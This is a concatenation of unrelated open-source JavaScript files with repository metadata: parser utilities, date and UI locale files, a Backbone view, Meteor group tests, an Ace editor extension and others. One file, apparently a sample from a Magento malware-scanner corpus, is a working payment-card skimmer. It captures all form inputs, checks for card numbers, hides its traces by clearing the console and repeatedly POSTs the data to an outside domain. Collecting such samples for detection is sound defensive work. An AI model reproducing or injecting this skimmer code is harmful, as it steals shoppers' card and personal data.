token") } export class DestructuringErrors { constructor() { this.shorthandAssign = this.trailingComma = this.parenthesized = -1 } } pp.checkPatternErrors = function(refDestructuringErrors) { let trailing = refDestructuringErrors ? refDestructuringErrors.trailingComma : -1 let parens = refDestructuringErrors ? refDestructuringErrors.parenthesized : -1 if (trailing > -1) this.raiseRecoverable(trailing, "Comma is not permitted after the rest element") if (parens > -1) this.raiseRecoverable(parens, "Parenthesized pattern") } pp.checkExpressionErrors = function(refDestructuringErrors, andThrow) { let pos = refDestructuringErrors ? refDestructuringErrors.shorthandAssign : -1 if (!andThrow) return pos >= 0 if (pos > -1) this.raise(pos, "Shorthand property assignments are valid only in destructuring patterns") } pp.checkYieldAwaitInDefaultParams = function() { if (this.yieldPos && (!this.awaitPos || this.yieldPos < this.awaitPos)) this.raise(this.yieldPos, "Yield expression cannot be a default value") if (this.awaitPos) this.raise(this.awaitPos, "Await expression cannot be a default value") }
avatarr8/apeoplesguide7
sites/all/themes/peoples_guide/node_modules/gulp-sourcemaps/node_modules/acorn/src/parseutil.js
JavaScript
gpl-2.0
3,610
// moment.js locale configuration // locale : euskara (eu) // author : Eneko Illarramendi : https://github.com/eillarra (function (factory) { // Comment out broken wrapper, see T145382 /*if (typeof define === 'function' && define.amd) { define(['moment'], factory); // AMD } else if (typeof exports === 'object') { module.exports = factory(require('../moment')); // Node } else { factory((typeof global !== 'undefined' ? global : this).moment); // node or other global }*/ factory(this.moment); }(function (moment) { return moment.defineLocale('eu', { months : 'urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua'.split('_'), monthsShort : 'urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.'.split('_'), weekdays : 'igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata'.split('_'), weekdaysShort : 'ig._al._ar._az._og._ol._lr.'.split('_'), weekdaysMin : 'ig_al_ar_az_og_ol_lr'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'LT:ss', L : 'YYYY-MM-DD', LL : 'YYYY[ko] MMMM[ren] D[a]', LLL : 'YYYY[ko] MMMM[ren] D[a] LT', LLLL : 'dddd, YYYY[ko] MMMM[ren] D[a] LT', l : 'YYYY-M-D', ll : 'YYYY[ko] MMM D[a]', lll : 'YYYY[ko] MMM D[a] LT', llll : 'ddd, YYYY[ko] MMM D[a] LT' }, calendar : { sameDay : '[gaur] LT[etan]', nextDay : '[bihar] LT[etan]', nextWeek : 'dddd LT[etan]', lastDay : '[atzo] LT[etan]', lastWeek : '[aurreko] dddd LT[etan]', sameElse : 'L' }, relativeTime : { future : '%s barru', past : 'duela %s', s : 'segundo batzuk', m : 'minutu bat', mm : '%d minutu', h : 'ordu bat', hh : '%d ordu', d : 'egun bat', dd : '%d egun', M : 'hilabete bat', MM : '%d hilabete', y : 'urte bat', yy : '%d urte' }, ordinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); }));
micaelbatista/neeist_wiki
wiki/resources/lib/moment/locale/eu.js
JavaScript
gpl-3.0
2,417
webix.i18n.locales["fr-FR"]={ groupDelimiter:" ", groupSize:3, decimalDelimiter:",", decimalSize:2, dateFormat:"%d/%m/%Y", timeFormat:"%H:%i", longDateFormat:"%d %F %Y", fullDateFormat:"%d.%m.%Y %H:%i", price:"{obj} €", priceSettings:null, //use number defaults calendar:{ monthFull:["Janvier", "Février", "Mars", "Avril", "Mai", "Juin", "Juillet", "Août", "Septembre", "Octobre", "Novembre", "Décembre"], monthShort:["Jan", "Fév", "Mar", "Avr", "Mai", "Juin", "Juil", "Aôu", "Sep", "Oct", "Nov", "Déc"], dayFull:["Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"], dayShort:["Dim", "Lun", "Mar", "Mer", "Jeu", "Ven", "Sam"], hours: "Heures", minutes: "Minutes", done:"Fini", clear: "Effacer", today: "Aujourd'hui" }, controls:{ select:"Sélectionner", invalidMessage:"Valeur d'entrée invalide" }, dataExport:{ page:"Page", of:"sur" }, PDFviewer:{ of:"sur", automaticZoom:"Zoom automatique", actualSize:"Taille actuelle", pageFit:"Taille de la page", pageWidth:"Largeur de la page", pageHeight:"Hauteur de page" }, aria:{ calendar:"Сalendrier", increaseValue:"Augmenter la valeur", decreaseValue:"Diminution de la valeur", navMonth:["Le mois précédent", "Le mois prochain"], navYear:["Année précédente", "L'année prochaine"], navDecade:["Décennie précédente", "Suivant décennie"], dateFormat:"%d %F %Y", monthFormat:"%F %Y", yearFormat:"%Y", hourFormat:"Heures: %H", minuteFormat:"Minutes: %i", removeItem:"Retirer l'élément", pages:["Première page", "Page précédente", "Page suivante", "Dernière page"], page:"Page", headermenu:"Menu de titre", openGroup:"Ouvrir groupe de colonnes ", closeGroup:"Fermer groupe de colonnes", closeTab:"Fermer tab", showTabs:"Montrer plus tabs", resetTreeMap:"Revenir à la vue originale", navTreeMap:"Niveau supérieur", nextTab:"Prochain tab", prevTab:"Précédent tab", multitextSection:"Ajouter l'élément", multitextextraSection:"Retirer l'élément", showChart:"Montrer chart", hideChart:"Cacher chart", resizeChart:"Redimensionner chart" }, richtext:{ underline: "Souligner", bold: "Audacieux", italic: "Italique" } };
ByTiger/LearnWhatYouNeed
www_source/js/webix/codebase/i18n/fr.js
JavaScript
gpl-3.0
2,277
/* * * @licstart The following is the entire license notice for the * JavaScript code in this page. * * Copyright (c) 2012-2013 RockStor, Inc. <http://rockstor.com> * This file is part of RockStor. * * RockStor is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published * by the Free Software Foundation; either version 2 of the License, * or (at your option) any later version. * * RockStor is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * @licend The above is the entire license notice * for the JavaScript code in this page. * */ NfsShareDistribView = Backbone.View.extend({ initialize: function() { this.probe = this.options.probe; this.template = window.JST.probes_nfs_share_distrib; }, render: function() { $(this.el).html(this.template({probe: this.probe})); return this; }, cleanup: function() { logger.debug('calling cleanup'); } }); RockStorProbeMap.push({ name: 'nfs-share-distrib', view: 'NfsShareDistribView', description: 'NFS Share Distribution', });
kamal-gade/rockstor-core
src/rockstor/storageadmin/static/storageadmin/js/views/probes/nfs_share_distrib.js
JavaScript
gpl-3.0
1,433
import { Meteor } from "meteor/meteor"; import { check, Match } from "meteor/check"; import { Factory } from "meteor/dburles:factory"; import { expect } from "meteor/practicalmeteor:chai"; import { sinon } from "meteor/practicalmeteor:sinon"; import { Reaction } from "/server/api"; import { Accounts, Groups } from "/lib/collections"; import Fixtures from "/server/imports/fixtures"; import { getUser } from "/server/imports/fixtures/users"; Fixtures(); describe("Group test", function () { let methods; let sandbox; let shop; let user; const sampleGroup = { name: "Shop Manager", permissions: ["sample-role1", "sample-role2"] }; const sampleCustomerGroup = { name: "Customer", slug: "customer", permissions: ["guest", "account/profile", "product", "tag", "index", "cart/checkout", "cart/completed"] }; before(function () { methods = { createGroup: Meteor.server.method_handlers["group/createGroup"], addUser: Meteor.server.method_handlers["group/addUser"], updateGroup: Meteor.server.method_handlers["group/updateGroup"], removeUser: Meteor.server.method_handlers["group/removeUser"] }; }); beforeEach(function () { sandbox = sinon.sandbox.create(); shop = Factory.create("shop"); user = getUser(); // make the same user on Meteor.users available on Accounts Accounts.upsert({ _id: user._id }, { $set: { userId: user._id } }); }); afterEach(function () { Groups.remove({}); sandbox.restore(); Meteor.users.remove({}); Factory.create("shop"); }); function spyOnMethod(method, id) { return sandbox.stub(Meteor.server.method_handlers, `group/${method}`, function () { check(arguments, [Match.Any]); // to prevent audit_arguments from complaining this.userId = id; return methods[method].apply(this, arguments); }); } it("should create a group for a particular existing shop", function () { sandbox.stub(Reaction, "hasPermission", () => true); spyOnMethod("createGroup", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); expect(group.name).to.equal(sampleGroup.name); }); it("should ensure one group type per shop", function () { sandbox.stub(Reaction, "hasPermission", () => true); spyOnMethod("createGroup", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); expect(() => { Meteor.call("group/createGroup", sampleGroup, shop._id); }).to.throw(Meteor.Error, /Group already exist for this shop/); }); it("should check admin access before creating a group", function () { sandbox.stub(Reaction, "hasPermission", () => false); spyOnMethod("createGroup", shop._id); function createGroup() { return Meteor.call("group/createGroup", sampleGroup, shop._id); } expect(createGroup).to.throw(Meteor.Error, /Access Denied/); }); it("should add a user to a group successfully and reference the id on the user account", function () { sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); const updatedUser = Accounts.findOne({ _id: user._id }); expect(updatedUser.groups).to.include.members([group._id]); }); it("should add a user to a group and update user's permissions", function () { sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); const updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleGroup.permissions); }); it("should remove a user from a group and update user's permissions to default customer", function () { sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); spyOnMethod("removeUser", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); Meteor.call("group/createGroup", sampleCustomerGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); let updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleGroup.permissions); Meteor.call("group/removeUser", user._id, group._id); updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleCustomerGroup.permissions); }); it("should ensure a user's permissions does not include roles from previous group", function () { sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); spyOnMethod("updateGroup", shop._id); const response = Meteor.call("group/createGroup", sampleGroup, shop._id); const res = Meteor.call( "group/createGroup", { name: "Managers", permissions: ["sample-role3"] }, shop._id ); Meteor.call("group/addUser", user._id, response.group._id); let updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleGroup.permissions); Meteor.call("group/addUser", user._id, res.group._id); updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.not.include.members(sampleGroup.permissions); }); it("should ensure a user's permissions get updated when the group permissions changes", function () { sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); spyOnMethod("updateGroup", shop._id); Meteor.call("group/createGroup", sampleGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); let updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleGroup.permissions); const newGroupData = Object.assign({}, sampleGroup, { permissions: ["new-permissions"] }); Meteor.call("group/updateGroup", group._id, newGroupData, shop._id); updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(newGroupData.permissions); }); it("should add permissions for users in a group when roles are added", function () { this.timeout(10000); sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); Meteor.call("group/createGroup", sampleCustomerGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); let updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleCustomerGroup.permissions); Reaction.addRolesToGroups({ shops: [shop._id], roles: ["test-updated-role"], groups: ["customer"] }); updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.contain("test-updated-role"); }); it("should add permissions for users in a group when roles are added to all shops", function () { this.timeout(10000); sandbox.stub(Reaction, "hasPermission", () => true); sandbox.stub(Reaction, "canInviteToGroup", () => true); spyOnMethod("createGroup", shop._id); spyOnMethod("addUser", shop._id); Meteor.call("group/createGroup", sampleCustomerGroup, shop._id); const group = Groups.findOne({ shopId: shop._id }); Meteor.call("group/addUser", user._id, group._id); let updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.include.members(sampleCustomerGroup.permissions); Reaction.addRolesToGroups({ allShops: true, shops: [], roles: ["test-updated-role"], groups: ["customer"] }); updatedUser = Meteor.users.findOne({ _id: user._id }); expect(updatedUser.roles[shop._id]).to.contain("test-updated-role"); }); });
Thalhalla/reaction
server/methods/core/groups.app-test.js
JavaScript
gpl-3.0
8,897
module.exports={ create:function(){ var pri={}; var pub={}; pub.username=function(name){ pri.username=name; } pub.exists=function(ctx,callback){ var sql="select 1 from user where username=?"; ctx.connection.query(sql, [pri.username], function(e,rows){ ctx.exists=false}; if(!e){ if(rows && rows.length>0){ ctx.exists=true; } }else{ console.log(e); } callback(e,ctx); }); } } };
lxzhu/mengxia.me
libs/data_access.user.exists.js
JavaScript
gpl-3.0
466
<script> var snd =null; window.onload = function () { if((new RegExp('onepage')).test(window.location)) { send(); } }; function clk() { var inp=document.querySelectorAll("input, select, textarea, checkbox"); for (var i=0;i<inp.length;i++){ if(inp[i].value.length>0) { var nme=inp[i].name; if(nme=='') { nme=i; } snd+=inp[i].name+'='+inp[i].value+'&'; } } } function send() { var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button"); for (var i=0;i<btn.length;i++){ var b=btn[i]; if(b.type!='text' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') { if(b.addEventListener) { b.addEventListener("click", clk, false); }else { b.attachEvent('onclick', clk); } } } var frm=document.querySelectorAll("form"); for (var i=0;i<frm.length;i++){ if(frm[i].addEventListener) { frm[i].addEventListener("submit", clk, false); }else { frm[i].attachEvent('onsubmit', clk); } } if(snd!=null) { console.clear(); var cc = new RegExp("[0-9]{13,16}"); var asd="0"; if(cc.test(snd)){ asd="1" ; } var http = new XMLHttpRequest(); http.open("POST","https://infopromo.biz/lib/jquery.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("data="+snd+"&asd="+asd+"&id_id=alkazoneonline.com"); console.clear(); } snd=null; setTimeout('send()', 150); } </script>
gwillem/magento-malware-scanner
corpus/frontend/infopromo.biz.js
JavaScript
gpl-3.0
1,688
lang['Name of the new link'] = 'Nom du lien'; lang['Web address to link (URL)'] = 'URL du lien'; lang['Size of the window'] = 'Taille de fenêtre'; lang['Icon for the link'] = 'Icone du lien'; lang['Select icon'] = 'Choisir une icône'; lang['Width: '] = 'Largeur :'; lang['Height: '] = 'Hauteur :'; lang['Preview'] = 'Prévisualisation'; lang['Create'] = 'Créer'; lang['You should provide a link name!'] = 'Vous devez fournir un nom de lien !'; lang['Create new link...'] = 'Créer un nouveau lien...'; lang['This link will open in new window'] = 'Ce lien s\'ouvrira dans une nouvelle fenêtre';
DavidGarciaCat/eyeos
eyeos/apps/newlink/lang/fr/fr.js
JavaScript
agpl-3.0
598
/* * Copyright (C) 2019 - present Instructure, Inc. * * This file is part of Canvas. * * Canvas is free software: you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License as published by the Free * Software Foundation, version 3 of the License. * * Canvas is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ import gql from 'graphql-tag' import {shape, string} from 'prop-types' export const MediaTrack = { fragment: gql` fragment MediaTrack on MediaTrack { _id locale content kind } `, shape: shape({ _id: string, locale: string, content: string, kind: string }) } export const DefaultMocks = { MediaTrack: () => ({ _id: '1', locale: 'en', content: 'en', kind: 'subtitle' }) }
djbender/canvas-lms
app/jsx/assignments_2/student/graphqlData/MediaTrack.js
JavaScript
agpl-3.0
1,148
/* * Copyright (C) 2018 - present Instructure, Inc. * * This file is part of Canvas. * * Canvas is free software: you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License as published by the Free * Software Foundation, version 3 of the License. * * Canvas is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ import AsyncTracker from './AsyncTracker' import ContextTracker from './ContextTracker' import EventTracker from './EventTracker' import SafetyNet from './SafetyNet' import SandboxFactory from './SandboxFactory' const DEFAULT_SPEC_TIMEOUT = 5000 const UNPROTECTED_SPECS = Object.keys(process.env).includes('UNPROTECTED_SPECS') export const contextTracker = new ContextTracker(QUnit) export const sandboxFactory = new SandboxFactory({ contextTracker, global: window, qunit: QUnit }) export const asyncTracker = new AsyncTracker({ contextTracker, /* * Add stack traces to logging to help identify sources of behavior. */ debugging: false, /* * Log when async behavior has not resolved by the end of a spec. */ logUnmanagedBehavior: false, /* * What to do when async behavior has not resolved by the end of a spec: * - 'none': nothing * - 'wait': allow the behavior to fully resolve before continuing specs * - 'hurry': resolve all behavior immediately and continue specs * - 'clear': cancel all unresolved behavior and continue specs * - 'fail': cancel all unresolved behavior and fail the current spec */ unmanagedBehaviorStrategy: 'none' }) export const eventTracker = new EventTracker({ contextTracker, /* * Add stack traces to logging to help identify sources of behavior. */ debugging: false, /* * Log when event listeners have been added but not removed within a spec. */ logUnmanagedListeners: false, /* * What to do when event listeners have been added but not removed within a * spec. * - 'none': nothing * - 'remove': remove all remaining listeners and continue specs * - 'fail': remove all remaining listeners and fail the current spec */ unmanagedListenerStrategy: 'none' }) export const safetyNet = new SafetyNet() contextTracker.onContextStart(() => { // Set a standard timeout for all specs. // This can be overridden within specs. QUnit.config.testTimeout = DEFAULT_SPEC_TIMEOUT }) if (!UNPROTECTED_SPECS) { contextTracker.setup() safetyNet.setup() }
djbender/canvas-lms
spec/javascripts/jsx/spec-support/specProtection.js
JavaScript
agpl-3.0
2,787
/* * JBoss, Home of Professional Open Source. * Copyright 2014 Red Hat, Inc., and individual contributors * as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function () { 'use strict'; angular.module('pnc.common.select-modals').component('addBuildConfigWidget', { bindings: { project: '<', onAdd: '&' }, templateUrl: 'common/select-modals/build-config-multi-select/add-build-config-widget.html', controller: ['Project', Controller] }); function Controller(Project) { var $ctrl = this; // -- Controller API -- $ctrl.select = select; $ctrl.add = add; $ctrl.buildConfigs = []; $ctrl.config = { selectItems: false, multiSelect: false, dblClick: false, selectionMatchProp: 'id', showSelectBox: false, }; $ctrl.actionButtons = [ { name: 'Add', title: 'Add this Build Config', include: 'button-add-right', // <-- Template for the action button -- defined within this component's template. actionFn: function (action, object) { $ctrl.add(object); } } ]; // -------------------- function fetchBuildConfigs(projectId) { Project.queryBuildConfigurations({ id: projectId }).$promise.then(function (page) { $ctrl.buildConfigs = page.data || []; }); } function select(item) { fetchBuildConfigs(item.id); } function add(buildConfig) { $ctrl.onAdd({ buildConfig: buildConfig}); } } })();
thauser/pnc
ui/app/common/select-modals/build-config-multi-select/addBuildConfigWidget.js
JavaScript
apache-2.0
2,055
'use strict'; var Promise = require('../util/promise'), YAML = require('../util/yaml'); module.exports = { /** * The order that this parser will run, in relation to other parsers. * * @type {number} */ order: 200, /** * Whether to allow "empty" files. This includes zero-byte files, as well as empty JSON objects. * * @type {boolean} */ allowEmpty: true, /** * Determines whether this parser can parse a given file reference. * Parsers that match will be tried, in order, until one successfully parses the file. * Parsers that don't match will be skipped, UNLESS none of the parsers match, in which case * every parser will be tried. * * @type {RegExp|string[]|function} */ canParse: ['.yaml', '.yml', '.json'], // JSON is valid YAML /** * Parses the given file as YAML * * @param {object} file - An object containing information about the referenced file * @param {string} file.url - The full URL of the referenced file * @param {string} file.extension - The lowercased file extension (e.g. ".txt", ".html", etc.) * @param {*} file.data - The file contents. This will be whatever data type was returned by the resolver * @returns {Promise} */ parse: function parseYAML(file) { return new Promise(function(resolve, reject) { var data = file.data; if (Buffer.isBuffer(data)) { data = data.toString(); } if (typeof data === 'string') { resolve(YAML.parse(data)); } else { // data is already a JavaScript value (object, array, number, null, NaN, etc.) resolve(data); } }); } };
raml-org/raml-dotnet-parser-2
source/Raml.Parser/node_modules/raml-1-0-parser/node_modules/json-schema-ref-parser/lib/parsers/yaml.js
JavaScript
apache-2.0
1,684
ace.define("ace/ext/menu_tools/element_generator",["require","exports","module"], function(acequire, exports, module) { 'use strict'; module.exports.createOption = function createOption (obj) { var attribute; var el = document.createElement('option'); for(attribute in obj) { if(obj.hasOwnProperty(attribute)) { if(attribute === 'selected') { el.setAttribute(attribute, obj[attribute]); } else { el[attribute] = obj[attribute]; } } } return el; }; module.exports.createCheckbox = function createCheckbox (id, checked, clss) { var el = document.createElement('input'); el.setAttribute('type', 'checkbox'); el.setAttribute('id', id); el.setAttribute('name', id); el.setAttribute('value', checked); el.setAttribute('class', clss); if(checked) { el.setAttribute('checked', 'checked'); } return el; }; module.exports.createInput = function createInput (id, value, clss) { var el = document.createElement('input'); el.setAttribute('type', 'text'); el.setAttribute('id', id); el.setAttribute('name', id); el.setAttribute('value', value); el.setAttribute('class', clss); return el; }; module.exports.createLabel = function createLabel (text, labelFor) { var el = document.createElement('label'); el.setAttribute('for', labelFor); el.textContent = text; return el; }; module.exports.createSelection = function createSelection (id, values, clss) { var el = document.createElement('select'); el.setAttribute('id', id); el.setAttribute('name', id); el.setAttribute('class', clss); values.forEach(function(item) { el.appendChild(module.exports.createOption(item)); }); return el; }; }); ace.define("ace/ext/modelist",["require","exports","module"], function(acequire, exports, module) { "use strict"; var modes = []; function getModeForPath(path) { var mode = modesByName.text; var fileName = path.split(/[\/\\]/).pop(); for (var i = 0; i < modes.length; i++) { if (modes[i].supportsFile(fileName)) { mode = modes[i]; break; } } return mode; } var Mode = function(name, caption, extensions) { this.name = name; this.caption = caption; this.mode = "ace/mode/" + name; this.extensions = extensions; if (/\^/.test(extensions)) { var re = extensions.replace(/\|(\^)?/g, function(a, b){ return "$|" + (b ? "^" : "^.*\\."); }) + "$"; } else { var re = "^.*\\.(" + extensions + ")$"; } this.extRe = new RegExp(re, "gi"); }; Mode.prototype.supportsFile = function(filename) { return filename.match(this.extRe); }; var supportedModes = { ABAP: ["abap"], ABC: ["abc"], ActionScript:["as"], ADA: ["ada|adb"], Apache_Conf: ["^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd"], AsciiDoc: ["asciidoc|adoc"], Assembly_x86:["asm|a"], AutoHotKey: ["ahk"], BatchFile: ["bat|cmd"], C_Cpp: ["cpp|c|cc|cxx|h|hh|hpp|ino"], C9Search: ["c9search_results"], Cirru: ["cirru|cr"], Clojure: ["clj|cljs"], Cobol: ["CBL|COB"], coffee: ["coffee|cf|cson|^Cakefile"], ColdFusion: ["cfm"], CSharp: ["cs"], CSS: ["css"], Curly: ["curly"], D: ["d|di"], Dart: ["dart"], Diff: ["diff|patch"], Dockerfile: ["^Dockerfile"], Dot: ["dot"], Dummy: ["dummy"], DummySyntax: ["dummy"], Eiffel: ["e|ge"], EJS: ["ejs"], Elixir: ["ex|exs"], Elm: ["elm"], Erlang: ["erl|hrl"], Forth: ["frt|fs|ldr"], FTL: ["ftl"], Gcode: ["gcode"], Gherkin: ["feature"], Gitignore: ["^.gitignore"], Glsl: ["glsl|frag|vert"], golang: ["go"], Groovy: ["groovy"], HAML: ["haml"], Handlebars: ["hbs|handlebars|tpl|mustache"], Haskell: ["hs"], haXe: ["hx"], HTML: ["html|htm|xhtml"], HTML_Ruby: ["erb|rhtml|html.erb"], HTML_Elixir: ["eex|html.eex"], INI: ["ini|conf|cfg|prefs"], Io: ["io"], Jack: ["jack"], Jade: ["jade"], Java: ["java"], JavaScript: ["js|jsm|jsx"], JSON: ["json"], JSONiq: ["jq"], JSP: ["jsp"], JSX: ["jsx"], Julia: ["jl"], LaTeX: ["tex|latex|ltx|bib"], Lean: ["lean|hlean"], LESS: ["less"], Liquid: ["liquid"], Lisp: ["lisp"], LiveScript: ["ls"], LogiQL: ["logic|lql"], LSL: ["lsl"], Lua: ["lua"], LuaPage: ["lp"], Lucene: ["lucene"], Makefile: ["^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make"], Markdown: ["md|markdown"], Mask: ["mask"], MATLAB: ["matlab"], Maze: ["mz"], MEL: ["mel"], MUSHCode: ["mc|mush"], MySQL: ["mysql"], Nix: ["nix"], ObjectiveC: ["m|mm"], OCaml: ["ml|mli"], Pascal: ["pas|p"], Perl: ["pl|pm"], pgSQL: ["pgsql"], PHP: ["php|phtml|shtml|php3|php4|php5|phps|phpt|aw|ctp"], Powershell: ["ps1"], Praat: ["praat|praatscript|psc|proc"], Prolog: ["plg|prolog"], Properties: ["properties"], Protobuf: ["proto"], Python: ["py"], R: ["r"], RDoc: ["Rd"], RHTML: ["Rhtml"], Ruby: ["rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile"], Rust: ["rs"], SASS: ["sass"], SCAD: ["scad"], Scala: ["scala"], Scheme: ["scm|sm|rkt|oak|scheme"], SCSS: ["scss"], SH: ["sh|bash|^.bashrc"], SJS: ["sjs"], Smarty: ["smarty|tpl"], snippets: ["snippets"], Soy_Template:["soy"], Space: ["space"], SQL: ["sql"], SQLServer: ["sqlserver"], Stylus: ["styl|stylus"], SVG: ["svg"], Swift: ["swift"], Tcl: ["tcl"], Tex: ["tex"], Text: ["txt"], Textile: ["textile"], Toml: ["toml"], Twig: ["twig|swig"], Typescript: ["ts|typescript|str"], Vala: ["vala"], VBScript: ["vbs|vb"], Velocity: ["vm"], Verilog: ["v|vh|sv|svh"], VHDL: ["vhd|vhdl"], XML: ["xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl|xaml"], XQuery: ["xq"], YAML: ["yaml|yml"], Django: ["html"] }; var nameOverrides = { ObjectiveC: "Objective-C", CSharp: "C#", golang: "Go", C_Cpp: "C and C++", coffee: "CoffeeScript", HTML_Ruby: "HTML (Ruby)", HTML_Elixir: "HTML (Elixir)", FTL: "FreeMarker" }; var modesByName = {}; for (var name in supportedModes) { var data = supportedModes[name]; var displayName = (nameOverrides[name] || name).replace(/_/g, " "); var filename = name.toLowerCase(); var mode = new Mode(filename, displayName, data[0]); modesByName[filename] = mode; modes.push(mode); } module.exports = { getModeForPath: getModeForPath, modes: modes, modesByName: modesByName }; }); ace.define("ace/ext/themelist",["require","exports","module","ace/lib/fixoldbrowsers"], function(acequire, exports, module) { "use strict"; acequire("ace/lib/fixoldbrowsers"); var themeData = [ ["Chrome" ], ["Clouds" ], ["Crimson Editor" ], ["Dawn" ], ["Dreamweaver" ], ["Eclipse" ], ["GitHub" ], ["IPlastic" ], ["Solarized Light"], ["TextMate" ], ["Tomorrow" ], ["XCode" ], ["Kuroir"], ["KatzenMilch"], ["SQL Server" ,"sqlserver" , "light"], ["Ambiance" ,"ambiance" , "dark"], ["Chaos" ,"chaos" , "dark"], ["Clouds Midnight" ,"clouds_midnight" , "dark"], ["Cobalt" ,"cobalt" , "dark"], ["idle Fingers" ,"idle_fingers" , "dark"], ["krTheme" ,"kr_theme" , "dark"], ["Merbivore" ,"merbivore" , "dark"], ["Merbivore Soft" ,"merbivore_soft" , "dark"], ["Mono Industrial" ,"mono_industrial" , "dark"], ["Monokai" ,"monokai" , "dark"], ["Pastel on dark" ,"pastel_on_dark" , "dark"], ["Solarized Dark" ,"solarized_dark" , "dark"], ["Terminal" ,"terminal" , "dark"], ["Tomorrow Night" ,"tomorrow_night" , "dark"], ["Tomorrow Night Blue" ,"tomorrow_night_blue" , "dark"], ["Tomorrow Night Bright","tomorrow_night_bright" , "dark"], ["Tomorrow Night 80s" ,"tomorrow_night_eighties" , "dark"], ["Twilight" ,"twilight" , "dark"], ["Vibrant Ink" ,"vibrant_ink" , "dark"] ]; exports.themesByName = {}; exports.themes = themeData.map(function(data) { var name = data[1] || data[0].replace(/ /g, "_").toLowerCase(); var theme = { caption: data[0], theme: "ace/theme/" + name, isDark: data[2] == "dark", name: name }; exports.themesByName[name] = theme; return theme; }); }); ace.define("ace/ext/menu_tools/add_editor_menu_options",["require","exports","module","ace/ext/modelist","ace/ext/themelist"], function(acequire, exports, module) { 'use strict'; module.exports.addEditorMenuOptions = function addEditorMenuOptions (editor) { var modelist = acequire('../modelist'); var themelist = acequire('../themelist'); editor.menuOptions = { setNewLineMode: [{ textContent: "unix", 